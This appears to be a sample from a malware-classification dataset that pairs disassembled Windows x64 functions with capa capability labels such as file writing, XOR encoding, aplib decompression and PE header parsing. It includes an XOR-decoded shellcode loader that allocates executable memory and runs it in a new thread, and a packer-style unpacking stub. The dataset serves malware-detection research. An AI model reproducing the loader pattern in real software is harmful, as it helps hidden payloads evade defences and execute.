joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016940
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [rcx + 8], 0
mov rdi, rdx
mov rbx, rcx
je 0x140016987
mov rdx, qword [rcx + 0x78]
mov byte [rcx + 8], 0
test rdx, rdx
je 0x140016970
mov ecx, 0x3e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x140016987
add rcx, 0x110
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0x3e
cmp dword [rbx + 0x84], 0
jge 0x1400169db
cmp byte [rbx + 0x70], 0
jne 0x1400169db
cmp byte [rbx + 0x89], 0
jne 0x1400169db
mov rdx, qword [rbx + 0x78]
test rdx, rdx
je 0x1400169b5
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x1400169cc
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0xa
mov rax, qword [rbx]
mov rcx, rbx
mov edx, dword [rbx + 0x80]
call qword [rax + 0x58]
mov r9, qword [rbx + 0x78]
mov byte [rbx + 0x70], 0
test r9, r9
je 0x140016a00
mov edx, 1
lea rcx, [0x14001d2c4]
lea r8d, [rdx + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140016a20
lea rcx, [rbx + 0x110]
mov edx, 2
call fcn.140016f90
movzx ecx, word [0x14001d2c4]
mov word [rax - 1], cx
mov byte [rax + 1], 0
mov rdx, rdi
mov rcx, rbx
call fcn.140012e40
mov r9, qword [rbx + 0x78]
test r9, r9
je 0x140016a55
mov edx, 1
lea rcx, [0x14001d31c]
lea r8d, [rdx + 1]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea rcx, [rbx + 0x110]
mov edx, 2
call fcn.140016f90
mov rbx, qword [rsp + 0x30]
mov ecx, 0x3e3f
mov word [rax - 1], cx
mov byte [rax + 1], 0
add rsp, 0x20
pop rdi
ret

Function at 0x140016a80
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
movzx eax, byte [rdx + 0x69]
mov byte [rcx + 0x88], al
cmp byte [rdx + 0x68], 0
je 0x140016b24
mov qword [rsp + 0x30], rbx
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x38], rsi
lea rsi, [0x14001d2a4]
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140016ab0
mov r9, qword [rcx + 0x78]
test r9, r9
je 0x140016ae4
mov r8, rbx
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x30]
mov al, 1
mov rsi, qword [rsp + 0x38]
add rsp, 0x28
ret
add rcx, 0x110
mov qword [rsp + 0x20], rdi
mov edx, ebx
call fcn.140016f90
mov r8, rbx
mov rdx, rsi
mov rdi, rax
lea rcx, [rax - 1]
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rsp + 0x38]
mov al, 1
mov byte [rdi + rbx - 1], 0
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret
mov al, 1
add rsp, 0x28
ret
Function at 0x140016c80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [rdx]
mov rbx, rcx
mov rcx, rdx
mov rdi, rdx
call qword [rax + 0x30]
test rax, rax
je 0x140016ca2
xor edi, edi
jmp 0x140016cae
lea rcx, [rdi + 0x18]
call fcn.140013150
mov rdi, rax
cmp byte [rbx + 8], 0
je 0x140016ce5
mov rdx, qword [rbx + 0x78]
mov byte [rbx + 8], 0
test rdx, rdx
je 0x140016cce
mov ecx, 0x3e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x140016ce5
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0x3e
cmp dword [rbx + 0x84], 0
jge 0x140016d39
cmp byte [rbx + 0x70], 0
jne 0x140016d39
cmp byte [rbx + 0x89], 0
jne 0x140016d39
mov rdx, qword [rbx + 0x78]
test rdx, rdx
je 0x140016d13
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x140016d2a
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0xa
mov rax, qword [rbx]
mov rcx, rbx
mov edx, dword [rbx + 0x80]
call qword [rax + 0x58]
mov r9, qword [rbx + 0x78]
mov byte [rbx + 0x70], 0
test r9, r9
je 0x140016d5e
mov edx, 1
lea rcx, str.____
lea r8d, [rdx + 3]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140016d7c
lea rcx, [rbx + 0x110]
mov edx, 4
call fcn.140016f90
mov ecx, dword [str.____]
mov dword [rax - 1], ecx
mov byte [rax + 3], 0
mov rdx, rdi
mov rcx, rbx
call fcn.140012e40
mov r9, qword [rbx + 0x78]
test r9, r9
je 0x140016db3
mov edx, 1
lea rcx, [0x14001d318]
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov al, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, [rbx + 0x110]
mov edx, 3
call fcn.140016f90
movzx ecx, word [0x14001d318]
mov rbx, qword [rsp + 0x30]
mov word [rax - 1], cx
movzx ecx, byte [0x14001d31a]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov al, 1
add rsp, 0x20
pop rdi
ret
Function at 0x140016e40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [rdx]
mov rbx, rcx
mov rcx, rdx
mov rdi, rdx
call qword [rax + 0x30]
test rax, rax
je 0x140016e62
xor edi, edi
jmp 0x140016e6e
lea rcx, [rdi + 0x18]
call fcn.140013150
mov rdi, rax
cmp byte [rbx + 8], 0
je 0x140016ea5
mov rdx, qword [rbx + 0x78]
mov byte [rbx + 8], 0
test rdx, rdx
je 0x140016e8e
mov ecx, 0x3e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x140016ea5
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0x3e
cmp dword [rbx + 0x84], 0
jge 0x140016ef9
cmp byte [rbx + 0x70], 0
jne 0x140016ef9
cmp byte [rbx + 0x89], 0
jne 0x140016ef9
mov rdx, qword [rbx + 0x78]
test rdx, rdx
je 0x140016ed3
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x140016eea
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov word [rax - 1], 0xa
mov rax, qword [rbx]
mov rcx, rbx
mov edx, dword [rbx + 0x80]
call qword [rax + 0x58]
mov r9, qword [rbx + 0x78]
mov byte [rbx + 0x70], 0
test r9, r9
je 0x140016f1e
mov edx, 1
lea rcx, [0x14001d2dc]
lea r8d, [rdx + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140016f3e
lea rcx, [rbx + 0x110]
mov edx, 2
call fcn.140016f90
movzx edx, word [0x14001d2dc]
mov word [rax - 1], dx
mov byte [rax + 1], 0
mov rdx, rdi
mov rcx, rbx
call fcn.140012e40
mov rdx, qword [rbx + 0x78]
test rdx, rdx
je 0x140016f6a
mov ecx, 0x3e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov al, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, [rbx + 0x110]
mov edx, 1
call fcn.140016f90
mov rbx, qword [rsp + 0x30]
mov word [rax - 1], 0x3e
mov al, 1
add rsp, 0x20
pop rdi
ret
Function at 0x14089b1b8
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14089b33f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14089b1e9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14089b1cf
add dl, dl
jne 0x14089b1f6
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14089b256
xor eax, eax
add dl, dl
jne 0x14089b205
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14089b30d
add dl, dl
jne 0x14089b216
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14089b223
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14089b230
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14089b23d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14089b24a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14089b1de
mov eax, 1
add dl, dl
jne 0x14089b266
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14089b273
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14089b25b
sub eax, ebx
mov ebx, 1
jne 0x14089b2ac
mov ecx, 1
add dl, dl
jne 0x14089b28e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14089b29b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14089b283
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14089b1de
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14089b2c8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14089b2d5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14089b2bd
cmp eax, 0x7d00
jae 0x14089b2fb
cmp eax, 0x500
jb 0x14089b2f6
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14089b1de
cmp eax, 0x7f
ja 0x14089b2fe
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14089b1de
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14089b332
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14089b1de
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140036670
Capabilities:
Terminate process

Disassembly:
adc dword [rbp + 0x39e606e8], eax
cmp dword [rbx], edi
jmp 0x140023186
sub byte [rax], bl
cmp eax, 0x2a835c18
or byte [rsi], al
sub dword [0x1b75ef8ad], esi
ret 0xd7a
cld
pop r11
jmp 0x14003667d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003668d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140036675
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x1400366a5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140036692
sub eax, 3
jb 0x1400366bf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400366f6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400366e6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400366e4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400366d3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140036632
jmp 0x14003667d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x23e00
mov dl, 0xb
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140036746
cmp rsi, rcx
jae 0x14003674e
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003672d
cmp al, 0x8f
ja 0x14003672d
cmp byte [rsi - 2], 0xf
je 0x140036733
sub al, 0xe8
cmp al, 1
ja 0x140036717
cmp rsi, rcx
jae 0x14003674e
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003671d
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003674e
lodsb al, byte [rsi]
jmp 0x14003672d
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x34000]
mov eax, dword [rdi]
or eax, eax
je 0x1400367ab
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x36000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003675b
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400367a5
mov qword [rbx], rax
add rbx, 8
jmp 0x14003677b
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400367e5
cmp al, 0xef
ja 0x1400367d7
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400367b7
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400367c6
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140036864], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140036864
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140036854
sub rsp, 0xffffffffffffff80
jmp 0x140023168
Function at 0x1400013de
Capabilities:
Terminate process

Disassembly:
jmp 0x14000a17c
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140009dc4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140009dc4
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009e0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009e0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009e0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009e0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140009e0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009e10
xor al, al
add rsp, 0x28
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400117b0
push rbp
push rsi
push rdi
sub rsp, 0x450
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d008]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002209f]
call fcn.14001136b
lea rax, [rbp + 0x10]
lea rcx, [0x140019c90]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1ff
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x228], rax
mov r8d, 0x1ff
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x228]
call fcn.1400111ae
mov dword [rbp + 0x244], 0
mov dword [rbp + 0x264], 0
jmp 0x140011860
mov eax, dword [rbp + 0x264]
inc eax
mov dword [rbp + 0x264], eax
movsxd rax, dword [rbp + 0x264]
cmp rax, 0x1ff
jae 0x140011897
movsxd rax, dword [rbp + 0x264]
mov rcx, qword [rbp + 0x228]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x264]
mov rdx, qword [rbp + 0x228]
mov byte [rdx + rcx], al
jmp 0x140011852
lea rax, [rbp + 0x244]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x228]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x288], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c50]
call fcn.140011302
mov eax, edi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x420]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140f0
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014103
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001412d
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014141
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014153
xor al, al
jmp 0x140014171
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001416f
xor al, al
jmp 0x140014171
mov al, 1
add rsp, 0x38
ret
Function at 0x14103b058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14103b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14103b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14103b06f
add dl, dl
jne 0x14103b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14103b0f6
xor eax, eax
add dl, dl
jne 0x14103b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14103b1ad
add dl, dl
jne 0x14103b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14103b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14103b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14103b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14103b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14103b07e
mov eax, 1
add dl, dl
jne 0x14103b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14103b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14103b0fb
sub eax, ebx
mov ebx, 1
jne 0x14103b14c
mov ecx, 1
add dl, dl
jne 0x14103b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14103b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14103b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14103b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14103b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14103b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14103b15d
cmp eax, 0x7d00
jae 0x14103b19b
cmp eax, 0x500
jb 0x14103b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14103b07e
cmp eax, 0x7f
ja 0x14103b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14103b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14103b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14103b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400400b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140040102
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140040102
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140040102
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140040102
cmp dword [rcx + 0x84], 0xe
jbe 0x140040102
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140040104
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
xor edx, edx
mov cl, 0x35
call fcn.140019af0
mov edx, 1
mov byte [rbp - 0x40], al
mov cl, 0x35
call fcn.140019af0
mov edx, 2
mov byte [rbp - 0x3f], al
mov cl, reloc.WS2_32.dll_gethostname
call fcn.140019af0
mov edx, 3
mov byte [rbp - 0x3e], al
mov cl, 0x36
call fcn.140019af0
mov edx, 4
mov byte [rbp - 0x3d], al
mov cl, 0x34
call fcn.140019af0
mov edx, 5
mov byte [rbp - 0x3c], al
mov cl, 0x34
call fcn.140019af0
mov edx, 6
mov byte [rbp - 0x3b], al
mov cl, reloc.WLDAP32.dll_Ordinal_50
call fcn.140019af0
mov edx, 7
mov byte [rbp - 0x3a], al
mov cl, Ordinal_50
call fcn.140019af0
mov edx, 8
mov byte [rbp - 0x39], al
mov cl, Ordinal_50
call fcn.140019af0
mov edx, 9
mov byte [rbp - 0x38], al
mov cl, 0x33
call fcn.140019af0
mov edx, 0xa
mov byte [rbp - 0x37], al
mov cl, gethostname
call fcn.140019af0
mov edx, ntohl
mov byte [rbp - 0x36], al
mov cl, 0x35
call fcn.140019af0
mov edx, recv
mov byte [rbp - 0x35], al
mov cl, 0x37
call fcn.140019af0
mov edx, reloc.WS2_32.dll_listen
mov byte [rbp - 0x34], al
mov cl, reloc.WS2_32.dll_gethostname
call fcn.140019af0
mov edx, reloc.WS2_32.dll_ntohl
mov byte [rbp - 0x33], al
mov cl, Ordinal_50
call fcn.140019af0
mov edx, reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x32], al
mov cl, 0x37
call fcn.140019af0
mov byte [rbp - 0x31], al
xor eax, eax
mov byte [rbp - 0x30], al
xor r8d, r8d
nop
movsxd rcx, eax
lea rdx, [rbp - 0x40]
add rdx, rcx
lea ecx, [rax + 0x13]
inc eax
xor byte [rdx], cl
cmp eax, 0x10
jb 0x140001100
xorps xmm0, xmm0
mov byte [rbp - 0x30], r8b
mov qword [rbp - 0x18], r8
lea rax, [rbp - 0x40]
mov qword [rbp - 0x10], r8
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x28], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140001134
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
call fcn.140018590
lea rdx, [rbp - 0x28]
lea rcx, [0x1400d0ec0]
call fcn.1400187a0
add rsp, 0x60
pop rbp
ret

Function at 0x140005450
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140005473
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x69]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140005460
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x140005480
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x1400054b4
mov ecx, esi
lea eax, [rcx + 0x69]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x1400054a0
mov byte [r8 + 6], sil
lea rax, [r8 + 5]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x1400054e9
mov r8d, 5
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.14000ae70
nop
cmp byte [rbx + 0xa], 0
je 0x140005513
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x69]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 9
jb 0x140005500
mov byte [rbx + 0xa], 0
lea rax, [rbx + 9]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x140005548
mov r8d, 9
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.14000ae70
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
mov rcx, rdi
call fcn.14000cf50
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000559c
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005596
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005596
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e438
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400055dc
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e438
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret